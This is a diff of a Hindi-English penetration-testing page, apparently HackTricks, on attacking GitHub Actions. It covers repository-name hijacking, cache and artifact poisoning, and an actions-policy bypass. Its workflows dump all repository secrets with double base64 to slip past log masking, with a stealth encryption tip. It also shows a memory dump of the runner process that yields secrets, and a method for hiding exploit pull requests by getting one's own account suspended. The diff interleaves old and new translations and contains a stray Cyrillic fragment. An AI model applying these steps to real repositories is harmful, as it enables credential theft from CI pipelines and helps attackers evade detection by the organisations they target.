यदि एक खाता अपना नाम बदलता है, तो कुछ समय बाद कोई अन्य उपयोगकर्ता उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि एक रिपॉजिटरी के पास **नाम परिवर्तन से पहले 100 से कम सितारे** थे, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक **रिपॉजिटरी बनाने** की अनुमति देगा जो हटाई गई थी।
|
||||
अगर कोई account अपना नाम बदलता है तो कुछ समय बाद कोई और user उसी नाम के साथ account register कर सकता है। अगर किसी repository के पास नाम बदलने से पहले **100 से कम stars** थे, तो Github नए registered user को वही नाम देकर हटाए गए repository के समान **repository with the same name** बनाने की अनुमति देगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> इसलिए यदि कोई क्रिया एक गैर-मौजूद खाते से एक रिपॉजिटरी का उपयोग कर रही है, तो यह संभव है कि एक हमलावर उस खाते को बना सके और क्रिया को समझौता कर सके।
|
||||
> इसलिए यदि कोई action किसी non-existent account के repo का उपयोग कर रहा है, तो यह अभी भी संभव है कि एक attacker वह account बना ले और action को compromise कर दे।
|
||||
|
||||
यदि अन्य रिपॉजिटरी **इस उपयोगकर्ता के रिपॉजिटरी से निर्भरताएँ** का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक कर सकेगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
यदि अन्य repositories इस user के repos से **dependencies** उपयोग कर रहे थे, तो attacker उन्हें hijack कर पाएगा। यहां एक अधिक विस्तृत explanation है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> इस अनुभाग में हम उन तकनीकों के बारे में बात करेंगे जो **एक रिपॉजिटरी से दूसरी रिपॉजिटरी में पिवट** करने की अनुमति देंगी, मानते हुए कि हमारे पास पहले वाले पर कुछ प्रकार की पहुँच है (पिछली अनुभाग देखें)।
|
||||
> इस सेक्शन में हम उन techniques के बारे में बात करेंगे जो हमें पहले repo पर किसी तरह की access होने की स्थिति में एक repo से दूसरे repo में **pivot** करने की अनुमति देंगी (पिछले सेक्शन को देखें)।
|
||||
|
||||
### कैश पॉइज़निंग
|
||||
### Cache Poisoning
|
||||
|
||||
एक कैश **समान शाखा में वर्कफ़्लो रन के बीच** बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर **एक पैकेज को समझौता करता है** जो फिर कैश में संग्रहीत होता है और **डाउनलोड** और **अधिक विशेषाधिकार प्राप्त** वर्कफ़्लो द्वारा निष्पादित किया जाता है, तो वह उस वर्कफ़्लो को भी **समझौता** कर सकेगा।
|
||||
एक cache उसी branch में चलने वाले **workflow runs** के बीच maintained रहती है। इसका मतलब है कि अगर कोई attacker किसी **package** को compromise कर देता है जो cache में store हो जाता है और बाद में किसी **more privileged** workflow द्वारा **downloaded** और execute किया जाता है, तो वह उस workflow को भी **compromise** कर सकेगा।
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### आर्टिफैक्ट पॉइज़निंग
|
||||
### Artifact Poisoning
|
||||
|
||||
वर्कफ़्लो **अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स** का उपयोग कर सकते हैं, यदि एक हमलावर **Github Action को समझौता करने में सफल होता है** जो एक आर्टिफैक्ट **अपलोड करता है** जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह **अन्य वर्कफ़्लो को समझौता** कर सकता है:
|
||||
Workflows अन्य workflows और यहां तक कि repos से भी **artifacts** उपयोग कर सकते हैं; अगर कोई attacker उस Github Action को **compromise** कर ले जो कोई **artifact upload** करता है और वह बाद में किसी दूसरे workflow द्वारा उपयोग किया जाता है, तो वह अन्य workflows को भी **compromise** कर सकता है:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -426,11 +431,36 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## एक क्रिया से पोस्ट एक्सप्लॉइटेशन
|
||||
## Post Exploitation from an Action
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) में बताया गया है, भले ही किसी repository या organization के पास कुछ actions के उपयोग को सीमित करने वाली policy हो, एक attacker बस workflow के अंदर action को `git clone` करके download कर सकता है और फिर उसे local action के रूप में reference कर सकता है। चूंकि policies local paths को प्रभावित नहीं करतीं, **the action will be executed without any restriction.**
|
||||
|
||||
Example:
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p ./tmp
|
||||
git clone https://github.com/actions/checkout.git ./tmp/checkout
|
||||
|
||||
- uses: ./tmp/checkout
|
||||
with:
|
||||
repository: woodruffw/gha-hazmat
|
||||
path: gha-hazmat
|
||||
|
||||
- run: ls && pwd
|
||||
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
### OIDC के माध्यम से AWS और GCP तक पहुँच
|
||||
|
||||
निम्नलिखित पृष्ठों की जाँच करें:
|
||||
Check the following pages:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -440,15 +470,15 @@ gh-actions-artifact-poisoning.md
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### रहस्यों तक पहुँच <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### secrets तक पहुँच <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं:
|
||||
यदि आप किसी script में content inject कर रहे हैं, तो यह जानना उपयोगी है कि आप secrets तक कैसे पहुँच सकते हैं:
|
||||
|
||||
- यदि रहस्य या टोकन को **पर्यावरण चर** में सेट किया गया है, तो इसे **`printenv`** का उपयोग करके सीधे पर्यावरण के माध्यम से एक्सेस किया जा सकता है।
|
||||
- यदि secret या token **environment variable** में सेट है, तो इसे **`printenv`** का उपयोग करके environment से सीधे एक्सेस किया जा सकता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action आउटपुट में रहस्यों की सूची</summary>
|
||||
<summary>Github Action output में secrets की सूची</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -475,7 +505,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>गुप्तों के साथ रिवर्स शेल प्राप्त करें</summary>
|
||||
<summary>secrets के साथ reverse shell प्राप्त करें</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -498,15 +528,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
- यदि गुप्त को **एक्सप्रेशन में सीधे** उपयोग किया जाता है, तो उत्पन्न शेल स्क्रिप्ट **डिस्क पर** संग्रहीत होती है और इसे एक्सेस किया जा सकता है।
|
||||
- यदि secret को **directly in an expression** में उपयोग किया जाता है, तो जनरेट किया गया shell script **on-disk** पर स्टोर होता है और पहुँच योग्य होता है.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- JavaScript क्रियाओं के लिए गुप्त और पर्यावरण चर के माध्यम से भेजे जाते हैं
|
||||
- JavaScript actions के लिए secrets को environment variables के माध्यम से भेजा जाता है
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- एक **कस्टम क्रिया** के लिए, जोखिम इस पर निर्भर कर सकता है कि एक प्रोग्राम ने **आर्गुमेंट** से प्राप्त गुप्त का उपयोग कैसे किया है:
|
||||
- एक **custom action** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि प्रोग्राम उस secret का उपयोग कैसे कर रहा है जो उसे **argument** से मिला है:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -514,23 +544,47 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### स्वयं-होस्टेड रनर्स का दुरुपयोग
|
||||
- secrets context के माध्यम से सभी secrets को enumerate करें (collaborator level). write access वाला contributor किसी भी branch पर workflow को modify करके सभी repository/org/environment secrets को dump कर सकता है. GitHub’s log masking से बचने के लिए double base64 का उपयोग करें और लोकल में decode करें:
|
||||
|
||||
यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में **`runs-on: self-hosted`** के लिए खोजें।
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
on:
|
||||
push:
|
||||
branches: [ attacker-branch ]
|
||||
jobs:
|
||||
dump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Double-base64 the secrets context
|
||||
run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
**स्वयं-होस्टेड** रनर्स को **अतिरिक्त संवेदनशील जानकारी** तक पहुंच हो सकती है, अन्य **नेटवर्क सिस्टम** (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, **एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं** और दुर्भावनापूर्ण एक **दूसरे के गुप्त चुरा सकती है**।
|
||||
लोकल में decode करें:
|
||||
|
||||
स्वयं-होस्टेड रनर्स में यह भी संभव है कि **\_Runner.Listener**\_\*\* प्रक्रिया\*\* से **गुप्त प्राप्त करें** जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके रखेगा:
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
Tip: परीक्षण के दौरान stealth के लिए, print करने से पहले encrypt करें (openssl GitHub-hosted runners पर पहले से इंस्टॉल होता है)।
|
||||
|
||||
### Self-hosted runners का दुरुपयोग
|
||||
|
||||
पता लगाने का तरीका कि कौन से **Github Actions are being executed in non-github infrastructure** वह है Github Action configuration yaml में **`runs-on: self-hosted`** को search करना।
|
||||
|
||||
**Self-hosted** runners को **extra sensitive information** तक पहुँच हो सकती है, अन्य **network systems** तक (vulnerable endpoints in the network? metadata service?) या, भले ही यह isolated हो और नष्ट कर दिया जाए, **एक से अधिक action एक साथ चल सकती हैं** और malicious one दूसरे action के **secrets** को चुरा सकती है।
|
||||
|
||||
Self-hosted runners में यह भी संभव है कि आप **secrets from the \_Runner.Listener**\_\*\* process\*\* को प्राप्त कर सकें, जो किसी भी step पर workflows के सभी secrets को contain करेगा, उसके memory को dump करके:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
चेक करें [**इस पोस्ट में अधिक जानकारी के लिए**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)।
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
यह संभव है कि Github actions बनाई जाएं जो **Github के अंदर एक Docker इमेज बनाएं और स्टोर करें**।\
|
||||
एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:
|
||||
यह संभव है कि आप ऐसे Github actions बना सकें जो **Github के अंदर एक Docker image बनाकर उसे संग्रहित करें**.\
|
||||
एक उदाहरण निम्न विस्तारयोग्य अनुभाग में दिया गया है:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -565,30 +619,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** पर होस्ट की गई है।
|
||||
जैसा कि आप पिछले कोड में देख सकते हैं, Github registry होस्ट किया गया है **`ghcr.io`**.
|
||||
|
||||
एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर एक व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:
|
||||
repo पर read permissions वाले उपयोगकर्ता personal access token का उपयोग करके Docker Image डाउनलोड करने में सक्षम होंगे:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
फिर, उपयोगकर्ता **Docker इमेज लेयर्स में लीक हुए रहस्यों** की खोज कर सकता है:
|
||||
फिर, उपयोगकर्ता **leaked secrets in the Docker image layers:** की खोज कर सकता है:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Github Actions लॉग में संवेदनशील जानकारी
|
||||
### Github Actions logs में संवेदनशील जानकारी
|
||||
|
||||
यहां तक कि अगर **Github** **क्रियाओं के लॉग में रहस्यमय मानों** का **पता लगाने** और **उन्हें दिखाने से बचने** की कोशिश करता है, तो **अन्य संवेदनशील डेटा** जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, वह तब तक छिपा नहीं होगा जब तक कि इसे [विशेष रूप से कॉन्फ़िगर](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) नहीं किया गया हो।
|
||||
यहाँ तक कि अगर **Github** actions logs में **secret values** को **detect** करने और उन्हें **avoid showing** करने की कोशिश भी करे, तब भी action के execution में उत्पन्न हुई **other sensitive data** छुपाई नहीं जाएगी। उदाहरण के लिए, एक JWT जो किसी secret value से signed है, तब तक छिपी नहीं जाएगी जब तक कि वह [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) न हो।
|
||||
|
||||
## अपने निशान छुपाना
|
||||
|
||||
(तकनीक [**यहां**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) से) सबसे पहले, कोई भी PR जो उठाया गया है, वह Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए स्पष्ट रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **इंटरनेट से एक PR को हटा नहीं सकते**, लेकिन इसमें एक मोड़ है। Github द्वारा **सस्पेंड** किए गए खातों के लिए, उनके सभी **PRs स्वचालित रूप से हटा दिए जाते हैं** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने **GitHub खाते को सस्पेंड** कराना होगा या अपने खाते को **फ्लैग** कराना होगा। यह **आपकी सभी गतिविधियों** को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी एक्सप्लॉइट PR को हटा देगा)
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) सबसे पहले, कोई भी PR जो उठाया गया है वह सार्वजनिक रूप से Github और target GitHub account दोनों पर स्पष्ट रूप से दिखाई देता है। GitHub में default रूप से, हम **can’t delete a PR of the internet**, पर एक ट्विस्ट है। जिन Github accounts को GitHub द्वारा **suspended** किया जाता है, उनके सभी **PRs are automatically deleted** कर दिए जाते हैं और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी activity छुपाने के लिए आपको या तो अपना **GitHub account suspended or get your account flagged** करवाना होगा। इससे GitHub पर आपकी सारी गतिविधियाँ इंटरनेट से छिप जाएंगी (basically remove all your exploit PR)
|
||||
|
||||
GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में सस्पेंड हो जाए :p और वहां आपने, अपने एक्सप्लॉइट को github पर अदृश्य बना दिया।
|
||||
एक organization GitHub पर अकाउंट रिपोर्ट करने में बहुत proactive रहती है। आपको बस Issue में “some stuff” शेयर करना है और वे सुनिश्चित कर देंगे कि 12 घंटे में आपका account suspended हो जाए :p और इस तरह आपका exploit GitHub पर invisible हो जाएगा।
|
||||
|
||||
> [!WARNING]
|
||||
> एक संगठन के लिए यह पता लगाने का एकमात्र तरीका है कि वे लक्षित हुए हैं, SIEM से GitHub लॉग की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।
|
||||
> किसी organization के लिए यह पता लगाने का единमात्र तरीका कि उन्हें target किया गया है, GitHub logs को SIEM से चेक करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user